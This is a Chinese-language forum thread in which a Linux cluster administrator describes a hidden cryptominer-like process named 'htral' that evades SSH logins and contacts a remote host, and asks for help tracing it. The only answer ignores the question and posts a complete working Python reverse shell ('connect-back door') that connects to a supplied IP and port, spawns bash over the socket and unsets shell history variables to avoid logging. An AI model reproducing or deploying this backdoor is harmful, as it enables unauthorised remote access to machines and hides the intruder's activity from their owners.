linux集群病毒清理
本人管理者一个不小的linux集群。最近在个别节点上发现了一个名为htral的可疑进程。一直找不到彻底的办法解决,跪求大神支招!!
该进程的行为表现为:
-
占用400%的CPU资源
-
一旦有用户ssh登陆到节点,就会在延迟若干秒后自动消失
-
登陆用户退出后,进程又会自动启动
利用ssh登陆到进程消失的短暂时间,我捕获到了进程的pid和打开的文件资源信息
ls -la /proc/$pid/
结果:
lsof $pid
输出结果:
现在了解到的情况如下:
-
有某一个进程一直在检测当前系统的登陆用户,发现无ssh登陆用户的时候,自动拷贝出文件,/usr/share/htral,执行文件,然后删除文件。
-
htral进程会连接11.11.3.22节点的50220端口,传递数据。
-
cat /proc/$pid/stat
看到该进程的父进程pid是1
我在
11.11.3.22
节点上使用
netstat -anp | grep 50220
命令检测不到任何输出,
lsof -i :50220
也没有任何结果(用screen登陆,循环执行一段时间后)。
求助SF上的linux大神们支招, 找出这个恶意进程的根源!!!
ps: 我现在把进程的源文件拷贝出来了,但不知道怎么分析。
路过ing
9 years, 5 months ago
Answers
既然你诚心诚意低发问了,我就告诉你吧,不用ssh登录,也可以想其他办法获取一个shell啊。
以下免费赠送。
#!/usr/bin/python
import sys
import os
import socket
import pty
shell = "/bin/bash"
def usage(programname):
print "python connect-back door"
print "Usage: %s <conn_back_ip> <port>" % programname
def main():
if len(sys.argv) !=3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+]Connect OK."
except:
print "[-]Can't connect"
sys.exit(2)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
global shell
os.unsetenv("HISTFILE")
os.unsetenv("HISTFILESIZE")
pty.spawn(shell)
s.close()
if __name__ == "__main__":
main()
710158856
answered 9 years, 5 months ago